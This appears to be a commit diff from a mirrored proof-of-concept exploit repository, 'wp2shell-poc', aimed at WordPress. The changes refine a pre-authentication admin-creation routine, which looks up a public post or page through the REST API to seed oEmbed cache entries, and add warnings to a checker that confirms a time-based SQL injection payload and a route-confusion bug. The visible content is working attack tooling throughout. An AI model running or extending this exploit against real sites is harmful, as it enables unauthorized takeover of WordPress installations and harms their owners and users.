mirror of
https://github.com/Icex0/wp2shell-poc
synced 2026-07-18 19:05:08 +00:00
Fall back to a page for oEmbed seeding when no posts exist
This commit is contained in:
@@ -154,8 +154,10 @@ def cmd_check(args: argparse.Namespace) -> int:
|
|||||||
f"SQL timing not confirmed — baseline {result.baseline:.2f}s, injected "
|
f"SQL timing not confirmed — baseline {result.baseline:.2f}s, injected "
|
||||||
f"{result.delayed:.2f}s; route-confusion marker pattern still detected."
|
f"{result.delayed:.2f}s; route-confusion marker pattern still detected."
|
||||||
)
|
)
|
||||||
|
warn("A WAF or edge rule may be filtering the SQLi payload; the route-confusion bug still looks present.")
|
||||||
return 0
|
return 0
|
||||||
bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
|
bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
|
||||||
|
warn("This may be a patched target, or a WAF/edge rule filtering the SQLi payload.")
|
||||||
if any(hint.affected for hint in hints):
|
if any(hint.affected for hint in hints):
|
||||||
warn("Version suggests exposure, but the timing payload did not execute or was blocked.")
|
warn("Version suggests exposure, but the timing payload did not execute or was blocked.")
|
||||||
return 2
|
return 2
|
||||||
|
|||||||
+22
-8
@@ -152,19 +152,33 @@ class PreAuthAdminCreator:
|
|||||||
return admin_id
|
return admin_id
|
||||||
|
|
||||||
def _loopback_embed_urls(self, nonce: str) -> List[str]:
|
def _loopback_embed_urls(self, nonce: str) -> List[str]:
|
||||||
post_link = self._first_public_post_link()
|
base_link = self._first_embeddable_link()
|
||||||
split = urllib.parse.urlsplit(post_link)
|
split = urllib.parse.urlsplit(base_link)
|
||||||
return [
|
return [
|
||||||
urllib.parse.urlunsplit((split.scheme, split.netloc, split.path, split.query, f"{nonce}{i}"))
|
urllib.parse.urlunsplit((split.scheme, split.netloc, split.path, split.query, f"{nonce}{i}"))
|
||||||
for i in range(3)
|
for i in range(3)
|
||||||
]
|
]
|
||||||
|
|
||||||
def _first_public_post_link(self) -> str:
|
def _first_embeddable_link(self) -> str:
|
||||||
with self._open_rest("/wp/v2/posts", {"per_page": "1", "_fields": "link"}) as response:
|
"""Return a published, public permalink to seed the oEmbed cache from.
|
||||||
posts = json.loads(response.read())
|
|
||||||
if not posts or not posts[0].get("link"):
|
Any singular public post or page works: rendering ``[embed]<link>`` makes WordPress create
|
||||||
raise RuntimeError("could not find a public post link for oEmbed seeding")
|
the backing ``oembed_cache`` posts. A default install always qualifies -- ``wp_install_defaults()``
|
||||||
return posts[0]["link"]
|
publishes both the "Hello world!" post and the "Sample Page" -- so this normally hits the
|
||||||
|
first route; the page fallback covers the rare posts-less site.
|
||||||
|
"""
|
||||||
|
for route in ("/wp/v2/posts", "/wp/v2/pages"):
|
||||||
|
try:
|
||||||
|
with self._open_rest(route, {"per_page": "1", "_fields": "link"}) as response:
|
||||||
|
items = json.loads(response.read())
|
||||||
|
except urllib.error.HTTPError:
|
||||||
|
continue # route disabled/restricted -> try the next one
|
||||||
|
if items and items[0].get("link"):
|
||||||
|
return items[0]["link"]
|
||||||
|
raise RuntimeError(
|
||||||
|
"no public post or page found to seed the oEmbed cache "
|
||||||
|
"(need at least one published post or page)"
|
||||||
|
)
|
||||||
|
|
||||||
def _prime_oembed_posts(self, embed_urls: Iterable[str]) -> None:
|
def _prime_oembed_posts(self, embed_urls: Iterable[str]) -> None:
|
||||||
content = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embed_urls)
|
content = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embed_urls)
|
||||||
|
|||||||
Reference in New Issue
Block a user